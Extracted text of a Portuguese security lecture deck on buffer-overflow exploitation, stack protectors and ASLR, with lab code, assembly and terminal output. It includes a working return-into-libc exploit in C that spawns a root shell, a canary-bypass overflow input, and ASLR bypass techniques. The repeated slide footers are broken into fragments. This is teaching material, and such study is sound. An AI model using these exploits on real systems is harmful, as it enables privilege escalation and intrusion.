#define ESP 0xbffff1a4 +20
int main(int argc, char **argv){FILE *badfile;long *ptr;unsigned int bufaddr;char buffer[336];
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Código do exploit
Return-into-libc
If(argc != 2){fprintf(stderr, "uso: %s <ret> \n", argv[0]);return 1;
}
bufaddr = ESP + atoi(argv[1]);
memset(&buffer, 'A', 336);ptr = (long*)(buffer+256);
*ptr++ = bufaddr; //ebp setuid*ptr++ = PRINTF; //call printf*ptr++ = LEAVERET; //printf retaddr*ptr++ = PARGADDR; // "%n"*ptr++ = bufaddr+12; //endereço a ser nulificado
*ptr++ = bufaddr+16; //ebp system*ptr++ = SETUID; //call setuid*ptr++ = LEAVERET; //setuid retaddr*ptr++ = SUIDARG; //argumento para setuid(I
n)S
egu
r an
ça d
e S
oft
war
e , Q
ueb
ran
do
Có
dig
os
- R
a fae
l Ro
s a
Código do exploit
Return-into-libc
*ptr++ = bufaddr+32; //ebp exit*ptr++ = SYSTEM; //call system*ptr++ = LEAVERET; //system retaddr*ptr++ = SARGADDR; // "/bin/bash"
*ptr++ = bufaddr+48; //terminamos aqui*ptr++ = EXIT; //ebp exit*ptr++ = 0xdefaced; //system retaddr*ptr++ = EARG; //argumento para exit
buffer[335] = '\0';
badfile = fopen("./badfile_ex32.bin", "w");fwrite(buffer, 1, 336, badfile);fclose(badfile);
}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Vetor de injeção
Return-into-libc(I
n)S
egu
r an
ça d
e S
oft
war
e , Q
ueb
ran
do
Có
dig
os
- R
a fae
l Ro
s a
Planejamento
Return-into-libc
O valor de esp tem que ser calculado considerando o vetor de injeção em argv[1].
O endereço de ebp 2 é calculado: es p + (276-256) ± offs et
[rafael@centos exemplos]$ ./get_esp `cat badfile_ex32.bin `ESP: 0xbffff1a4[rafael@centos exemplos]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Planejamento
Return-into-libc
Usa-se a saída de printf e a de system para localizar exatamente o endereço de SH e STR. Tentativas também são feitas para descobrir o offset.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Planejamento
Return-into-libc
[rafael@centos worx]$ ./exploit_return_into_libc_ex32 -28[rafael@centos worx]$ ./return_into_libc_ex3 `cat badfile_ex32.bin `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAA�������P�������������`<��P�������������P�V��������L����sh-3.2# iduid=0(root) gid=500(rafael) groups=500(rafael),501(vboxusers) context=user_u:system_r:unconfined_tsh-3.2# exitexit0xbffff1ac0xb7f13c600x8048450 (nil)0xbffff1bc0xb7eafa900x80484500xbffffd560xbffff1cc0xb7ea4ce00xdefaced0xffffffff0x414141410x414141410x414141 (nil)0x80482640xb7fcfff40x80484d00x80483700xbffff2180xab4381790x852c9569 (nil) (nil) (nil)0xb7ff60900xb7e8c5ad0xb7ffeff40x0000020x8048370 (nil)0x80483910x80484520x0000020xbffff2440x80484d00x80484c00xb7ff0f500xbffff23c0xb7ffbaaa0x0000020xbffff3a70xbffff3be (nil)0xbffff50e0xbffff5300xbffff5430xbffff57a0xbfffF58a0xbffff5950xbffff5e50xbffff6200xbffff6320xbffff6460xbffff6520xbffffa7b0xbffffc120xbffffc380xbffFfc680xbffffc990xbffffca90xbffffcf60xbffffd160xbffffd310xbffffda10xbffffdba0xbffffdcb0xbffffde30xbfffFdf80xbffffe130xbffffe2a0xbffffe320xbffffe440xbffffe700xbffffe7f0xbffffebb0xbfffff1d0xbfffff3d0xbfffff4a0xbfffff570xbfffff790xbfffff8f0xbfffffa80xbfffffcc (nil)0x0000200xb7ffd4200x0000210xb7ffd0000x0000100x78bf3bf0x0000060x0010000x0000110x0000640x0000030x80480340x0000040x000020[rafael@centos worx]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Agenda
Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória
Stack Overflow Heap Overflow Integer Overflow
Format String Bug Técnicas Modernas
WorX Stack Protector ASLR
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Definição
Stack Protector
Consiste no posicionamento de um valor (canary) na stack, de modo que quando ocorrer um overflow esse valor seja alterado.
No retorno da função esse valor é comparado ao valor original, e caso seja diferente o programa termina.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Código de partida
Stack Protector
char *func1(char *args[], int *len){char *ptrstr;int i;char buf[256];strcpy(buf, args[0]);i = 1;while(args[i] != NULL){
strcat(buf, " ");strcat(buf, args[i]);i++;
}*len = strlen(buf);ptrstr = (char*)malloc((*len) + 1);if(ptrstr == NULL){
perror("func1");exit(1);
}strcpy(ptrstr, buf);return ptrstr;
}(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Código de partida
Stack Protector
int func(char *args[]){unsigned int len;char *str;
str = func1(args, &len);
printf("Argumentos concatenados possuem %u bytes:\n", len);printf("%s\n", str);
}
int main(int argc, char *argv[]){
if(argc < 2){fprintf(stderr, "uso %s <arg1> <arg2> ... <argn>\n", argv[0]);return 1;
}
func(&argv[1]);}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Retaddr protegido
Stack Protector
O canary é colocado entre o ebp salvo e o endereço de retorno.
Com esse método, o endereço de retorno fica protegido.
[rafael@centos stack protector]$ gcc -c stack_protector_ex2.s[rafael@centos stack protector]$ gcc -o stack_protector_ex2 stack_protector_ex2.o[rafael@centos stack protector]$ ./stack_protector_ex2 `perl -e 'print "A"x272'`stack overflow detectadoSaindo...[rafael@centos stack protector]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Retaddr protegido
Stack Protector
func1:; prólogopushl $0xaabbccddpushl %ebpmovl %esp, %ebppushl %edisubl $292, %esp
; epílogoaddl $292, %esppopl %edipopl %ebppopl %ebxxor $0xaabbccdd, %ebxje .stack_okcall stack_check_fail
.stack_ok:ret
buf
retaddr
args
len
$0xaabbccdd
i
edi salvo
ebp salvo
ptrstredi é salvo na pilha porque é usado na função.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Problema
Stack Protector
Variáveis locais do tipo ponteiro ainda podem ser sobrescritas, de modo que se possa ler ou gravar em qualquer lugar na memória.
Com isso, pode-se sobrescrever a GOT, dtors, e ponteiros de função.
[rafael@centos stack protector]$ ./stack_protector_ex2 `perl -e 'print "A"x268'`Argumentos concatenados possuem 160575496 bytes:0� (3ÿ��Segmentation fault[rafael@centos stack protector]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Reordenamento de variáveis
Stack Protector
Variáveis locais são reordenadas a fim de que buffers fiquem em posições mais altas de memória, impossibilitando que ocorra overflow de outras variáveis.
[rafael@centos stack protector]$ gcc -c stack_protector_ex3.s[rafael@centos stack protector]$ gcc -o stack_protector_ex3 stack_protector_ex3.o[rafael@centos stack protector]$ ./stack_protector_ex3 `perl -e 'print "A"x264'`stack overflow detectadosaindo...[rafael@centos stack protector]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Reordenamento de variáveis
Stack Protector
buf
retaddr
args
len
$0xaabbccdd
i
edi salvo
ebp salvo
ptrstr; strcpy(buf, args[0]movl 12(%ebp), %eaxmovl (%eax), %eaxmovl %eax, 4(%esp)leal -260(%ebp), %eaxmovl %eax, (%esp)call strcpy
; i = 1movl $1, -264(%ebp)
; if(ptrstr == NULL)cmpl $0, -268(%ebp)
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Problema
Stack Protector
Argumentos do tipo ponteiro não são protegidos, o que gera um brecha para ataques.
[rafael@centos stack protector]$ ./stack_protector_ex3 `perl -e 'print "A"x272'`Segmentation fault[rafael@centos stack protector]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Cópia de argumentos
Stack Protector
Argumentos da função são copiados para o topo da pilha, assim, se os originais forem sobrescritos, o programa não será afetado, pois utiliza uma cópia segura dos mesmos.
[rafael@centos stack protector]$ gcc -c stack_protector_ex4.s[rafael@centos stack protector]$ gcc -o stack_protector_ex4 stack_protector_ex4.o[rafael@centos stack protector]$ ./stack_protector_ex4 `perl -e 'print "A"x272'`stack overflow detectadosaindo...[rafael@centos stack protector]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Cópia de argumentos
Stack Protector
; copiando argumentossubl $300, %espmovl 12(%ebp), %eaxmovl %eax, -272(%ebp)movl 16(%ebp), %eaxmovl %eax, -276(%ebp)
; strcpy(buf, args[0])movl -272(%ebp), %eaxmovl (%eax), %eaxmovl %eax, 4(%esp)leal -260(%ebp), %eaxmovl %eax, (%esp)call strcpy
; malloc((*len)+1)movl -276(%ebp), %eaxmovl (%eax), %eaxaddl $1, %eaxmovl %eax, (%esp)call malloc
buf
retaddr
args
len
$0xaabbccdd
i
edi salvo
ebp salvo
ptrstr
args
len
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Problema
Stack Protector
O ebp salvo ainda pode ser sobrescrito possibilitando a falsificação do frame de pilha da função chamadora, de modo que as variáveis e argumentos da mesma possam ser controladas.
Não é necessário ganhar o controle de um ponteiro, qualquer variável pode ser usada, basta setarmos o ebp para o endereço da GOT.
[rafael@centos stack protector]$ ./stack_protector_ex4 `perl -e 'print "A"x260'`Argumentos concatenados possuem 1094795585 bytes:Segmentation fault[rafael@centos stack protector]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Protegendo o frame de pilha
Stack Protector
O canary é colocado entre as variáeis locais e o ebp salvo de modo a detectar qualquer alteração em seu valor.
[rafael@centos stack protector]$ gcc -c stack_protector_ex5.s[rafael@centos stack protector]$ gcc -o stack_protector_ex5 stack_protector_ex5.o[rafael@centos stack protector]$ ./stack_protector_ex5 `perl -e 'print "A"x264'`stack overflow detectadosaindo...[rafael@centos stack protector]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Protegendo o frame de pilha
Stack Protector
buf
retaddr
args
len
ebp salvo
i
$0xaabbccdd
edi salvo
ptrstr
args
len; prólogofunc1:pushl %ebpmovl %esp, %ebppushl %edisubl $304, %espmovl 8(%ebp), %eaxmovl %eax, -276(%ebp)movl 12(%ebp), %eaxmovl %eax, -280(%ebp)movl $0xaabbccdd, -8(%ebp)
; epílogomovl -8(%ebp), %ebxxor $0xaabbccdd, %ebxje .stack_okcall stack_check_fail.stack_ok:addl $304, %esppopl %edipopl %ebpret
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Problema
Stack Protector
Como o canary é um valor conhecido, pode-se passar um vetor de injeção fazendo com que o valor do canary fique intacto.
Com isso, o teste de validação da integridade da stack não vai detectar o overflow, e o payload, pode então, ganhar o controle do eip.
[rafael@centos stack protector]$ ./stack_protector_ex5 `perl -e 'print "A"x256 . “\xdd\xcc\xbb\xaa” . “A”x8' `Illegal instruction[rafael@centos stack protector]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Estado da arte
Stack Protector
Estudos desenvolvidos em torno das técnicas de ataque levaram à criação de um mecanismo difícil de ser contornado.
Conta com proteção do endereço de retorno, proteção das variáveis locais, proteção dos argumentos, e proteção do ebp salvo.
O canary é randomizado de modo que não seja facilmente predizível.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Estado da arte
Stack Protector
void func(char *str){char buf[8];int a, b;char buf2[8];long c;
printf("str = %p\n", &str);printf("buf = %p\n", buf);printf("a = %p\n", &a);printf("b = %p\n", &b);printf("buf2 = %p\n", buf2);printf("c = %p\n", &c);
strcpy(buf, str); }
int main(int argc, char *argv[]){
if(argc != 2){fprintf(stderr, "uso %s <param>\n"
, argv[0]);return 1;
}
func(argv[1]);
printf("fim\n");}
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Proteção desabilitada
Stack Protector
[rafael@centos stack protector]$ gcc -o stack_protector_ex61 stack_protector_ex6.c[rafael@centos stack protector]$ ./stack_protector_ex61 AAAABBBBCCCCDDDDstr = 0xbfffe7f0buf = 0xbfffe7e0a = 0xbfffe7dcb = 0xbfffe7d8buf2 = 0xbfffe7d0c = 0xbfffe7ccSegmentation fault[rafael@centos stack protector]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Proteção habilitada
Stack Protector
[rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex62 stack_protector_ex6.c[rafael@centos stack protector]$ ./stack_protector_ex62 AAAABBBBCCCCDDDDstr = 0xbfffe7c4buf = 0xbfffe7dca = 0xbfffe7d0b = 0xbfffe7ccbuf2 = 0xbfffe7d4c = 0xbfffe7c8*** stack smashing detected ***: ./stack_protector_ex62 terminatedAborted[rafael@centos stack protector]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
A proteção
Stack Protector
Valor é comparado ao original no retorno da função e caso sejam diferentes o overflow é detectado e o programa termina.
ebp
retaddr
str
buf
buf2
b
a
c
stack protector ativado
ebp
retaddr
str
buf
buf2
b
a
c
str
canary
stack protector desativado
; prólogopush %ebpmov %esp,%ebpsub $0x38,%espmov 0x8(%ebp),%eaxmov %eax,-0x24(%ebp)mov %gs:0x14,%eaxmov %eax,-0x4(%ebp)
;epílogomov -0x4(%ebp),%eaxxor %gs:0x14,%eaxje 0x8048530 <func+172>call 0x804838c <__stack_chk_fail@plt>leave ret
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Problema
Stack Protector
Atrapalha no desempenho do programa.
Proteção aplicada somente à arrays de char.
Array de char deve possuir no mínimo 8 bytes para que a proteção seja aplicada.
Array de char deve possuir no mínimo 8 bytes para que seja reordenado.
Variáveis de structs não são reordenadas.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Arrays de não-chars
Stack Protector
void func(char *str){int buf[8];int a, b;int buf2[8];long c;
printf("str = %p\n", &str);printf("buf = %p\n", buf);printf("a = %p\n", &a);
printf("b = %p\n", &b);printf("buf2 = %p\n", buf2);printf("c = %p\n", &c);
}
int main(int argc, char *argv[]){func(argv[1]);printf("fim\n");
}
[rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex7 stack_protector_ex7.c[rafael@centos stack protector]$ ./stack_protector_ex7str = 0xbfffe810buf = 0xbfffe7dca = 0xbfffe804b = 0xbfffe800buf2 = 0xbfffe7bcc = 0xbfffe7fcfim[rafael@centos stack protector]$
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack ProtectorArrays de não-chars
; prólogopush %ebpmov %esp,%ebpsub $0x58,%esp
;epílogoleave ret
ebp
retaddr
str
buf2
b
a
c
buf
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack Protector
void func(char *str){char buf[7];int a, b;char buf2[7];long c;
printf("str = %p\n", &str);printf("buf = %p\n", buf);printf("a = %p\n", &a);
printf("b = %p\n", &b);printf("buf2 = %p\n", buf2);printf("c = %p\n", &c);
}
int main(int argc, char *argv[]){func(argv[1]);printf("fim\n");
}
[rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex8 stack_protector_ex8.c[rafael@centos stack protector]$ ./stack_protector_ex8str = 0xbfffe810buf = 0xbfffe7f5a = 0xbfffe804b = 0xbfffe800buf2 = 0xbfffe7eec = 0xbfffe7fcfim[rafael@centos stack protector]$
Arrays com menos de 8 elementos
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack ProtectorArrays com menos de 8 elementos
; prólogopush %ebpmov %esp,%ebpsub $0x28,%esp
;epílogoleave ret
ebp
retaddr
str
buf2
b
a
c
buf
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack Protector
void func(char *str){char buf[7];int a, b;char buf2[8];long c;
printf("str = %p\n", &str);printf("buf = %p\n", buf);printf("a = %p\n", &a);
printf("b = %p\n", &b);printf("buf2 = %p\n", buf2);printf("c = %p\n", &c);
}
int main(int argc, char *argv[]){func(argv[1]);printf("fim\n");
}
[rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex9 stack_protector_ex9.c[rafael@centos stack protector]$ ./stack_protector_ex9str = 0xbfffe7e4buf = 0xbfffe7e9a = 0xbfffe7f8b = 0xbfffe7f4buf2 = 0xbfffe7fcc = 0xbfffe7f0fim[rafael@centos stack protector]$
Não reodenamento de arrays
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack Protector
; prólogopush %ebpmov %esp,%ebpsub $0x38,%espmov 0x8(%ebp),%eaxmov %eax,-x24(%ebp)mov %gs:0x14,%eaxmov %eax,-0x4(%ebp)
;epílogomov -0x4(%ebp),%eaxxor %gs:0x14,%eaxje 0x804849e <func+154>call 0x804830c<__stack_chk_fail@plt>leave ret
Não reodenamento de arrays
buf2
ebp
retaddr
str
b
a
c
str
canary
buf
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack Protector
struct struc{char buf[20];int a;
};
void func(char *str){char buf[4];int a;struct struc s;long c;printf("str = %p\n", &str);
printf("buf = %p\n", buf);printf("a = %p\n", &a);printf("s.buf = %p\n", &s.buf);printf("s.a = %p\n", &s.a);printf("c = %p\n", &c);
}
int main(int argc, char *argv[]){func(argv[1]);printf("fim\n");
}
[rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_exA stack_protector_exA.c[rafael@centos stack protector]$ ./stack_protector_exA str = 0xbfffe7d4buf = 0xbfffe7e8a = 0xbfffe7e4s.buf = 0xbfffe7ecs.a = 0xbfffe800c = 0xbfffe7e0fim[rafael@centos stack protector]$
Não reodenamento de variáveis em structs
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Stack Protector
;prólogopush %ebpmov %esp,%ebpsub $0x48,%espmov 0x8(%ebp),%eaxmov %eax,-x34(%ebp)mov %gs:0x14,%eaxmov %eax,-0x4(%ebp)
;epílogomov -0x4(%ebp),%eaxxor %gs:0x14,%eaxje 0x80484a1 <func+157>call 0x804830c<__stack_chk_fail@plt>leave ret
s.buf
ebp
retaddr
str
s.a
a
c
str
canary
buf
Não reodenamento de variáveis em structs
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Agenda
Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória
Stack Overflow Heap Overflow Integer Overflow
Format String Bug Técnicas Modernas
WorX Stack Protector ASLR
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Definição
ASLR
Address Space Layout Randomization. Permite o mapeamento de blocos do programa para regiões aleatórias de memória, a fim de que os endereços base dos blocos não sejam predizíveis.
O endereço de cada bloco é calculado separadamente, de tal forma que o endereço de cada um não tenha nenhuma relação com os outros.
Os blocos são três: área executável, área mapeada, e área da stack.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Definição
ASLR
[rafael@centos aslr]$ cat /proc/self/maps > catmaps1; cat /proc/self/maps > catmaps2[rafael@centos aslr]$ diff -uNr catmaps1 catmaps2--- catmaps1 2009-09-16 11:09:29.000000000 -0300+++ catmaps2 2009-09-16 11:09:31.000000000 -0300@@ -1,14 +1,14 @@-00439000-0043a000 r-xp 00439000 00:00 0 [vdso] 00b1c000-00b36000 r-xp 00000000 fd:00 163878 /lib/ld-2.5.so 00b36000-00b37000 r-xp 00019000 fd:00 163878 /lib/ld-2.5.so 00b37000-00b38000 rwxp 0001a000 fd:00 163878 /lib/ld-2.5.so+00b3c000-00b3d000 r-xp 00b3c000 00:00 0 [vdso] 00b3f000-00c7d000 r-xp 00000000 fd:00 166245 /lib/libc-2.5.so 00c7d000-00c7f000 r-xp 0013e000 fd:00 166245 /lib/libc-2.5.so 00c7f000-00c80000 rwxp 00140000 fd:00 166245 /lib/libc-2.5.so 00c80000-00c83000 rwxp 00c80000 00:00 0 08048000-0804d000 r-xp 00000000 fd:00 1474600 /bin/cat 0804d000-0804e000 rw-p 00004000 fd:00 1474600 /bin/cat-09f36000-09f57000 rw-p 09f36000 00:00 0 [heap]-b7d0d000-b7f0d000 r--p 00000000 fd:00 1596699 /usr/lib/locale/locale-archive-b7f0d000-b7f0f000 rw-p b7f0d000 00:00 0 -bf963000-bf978000 rw-p bffea000 00:00 0 [stack]+08ca3000-08cc4000 rw-p 08ca3000 00:00 0 [heap]+b7da0000-b7fa0000 r--p 00000000 fd:00 1596699 /usr/lib/locale/locale-archive+b7fa0000-b7fa2000 rw-p b7fa0000 00:00 0 +bf871000-bf886000 rw-p bffea000 00:00 0 [stack]
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Área executável
ASLR
Apenas 16 bits são randomizados, do bit 12 ao bit 27 do endereço.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Área mapeada
ASLR
16 bits são randomizados, do bit 12 ao bit 27 do endereço.
Após obtido o endereço base da heap, um offset é gerado randomicamente, marcando o início da mesma e mantendo um alinhamento de 64k.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Área da stack
ASLR
16 bits são randomizados, do bit 4 ao bit 27 do endereço.
Após obtido o endereço base da stack, um offset é gerado randomicamente para marcar o início da mesma.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
/proc
ASLR
Sem o conhecimento dos endereços de memória do programa, para onde retornar?
O ASLR dificulta a execução de um ataque, porém para um ataque local: /proc/<pid>/maps ou /proc/<pid>/stat.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Força bruta
ASLR
Chamada à fork mantém o mapa de memória do programa intacto.
Em um servidor que bifurca para tratar cada conexão, é possível implementar ataques de força bruta. Caso o payload não ganhe o eip e o programa quebre, o processo pai continua rodando e uma nova conexão pode ser iniciada.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Áreas de memória não randomizadas
ASLR
A randomização não precisa ser feita em todas as áreas de memória. Pode haver setores não randomizados.
Pode-se utilizar código da .text ou de bibliotecas compartilhadas para ganhar o controle do eip.
Caso um ponteiro para o payload seja conhecido, pode-se usar instruções do programa ou utilizar dados brutos do mesmo como instruções para chegar à execução do payload. Através de ret2eax, ret2esp, ret2ret, ret2pop.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
ret2eax
ASLR
Payload retornado pela função explorada.
Sobrescrever endereço de retorno para executar: jmp eax.
eax
EBP anterior ...buffer explorado retaddr
função vulnerável
payload &(jmp eax) ...
vetor de injeção
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
ret2esp
ASLR
Payload na stack, acima do endereço de retorno.
Função explorada não manipula strings (Não coloca NULL).
Retornar para instrução: jmp [esp].
EBP anterior ptr buffer buffer explorado retaddr
função vulnerável
payload &(jmp esp) ptr buffer
vetor de injeçãoesp
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
ret2ret
ASLR
Payload na stack, acima do endereço de retorno.
Função explorada não manipula strings (Não coloca NULL).
Retornar para instrução: ret.
EBP anterior ptr buffer buffer explorado retaddr
função vulnerável
payload &(ret) ptr buffer
vetor de injeçãoesp
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
ret2pop
ASLR
Payload na stack, acima do endereço de retorno.
Retornar para instrução leave-ret.
função vulnerável
EBP anterior ...buffer explorado retaddr ptr buffer
payload &(leave-ret) 0x00
vetor de injeçãoesp
ptr buffer
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
Heap Spraying
ASLR
Consiste na alocação de grande quantidade de memória da heap.
Payload replicado nesses blocos alocados.
Fazer fluxo do programa retornar para a heap.
Alinhamento da heap aumenta chance de acerto.
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a
EOF
(In
)Seg
ur a
nça
de
So
ftw
are ,
Qu
ebra
nd
o C
ód
igo
s -
Ra f
ael R
os a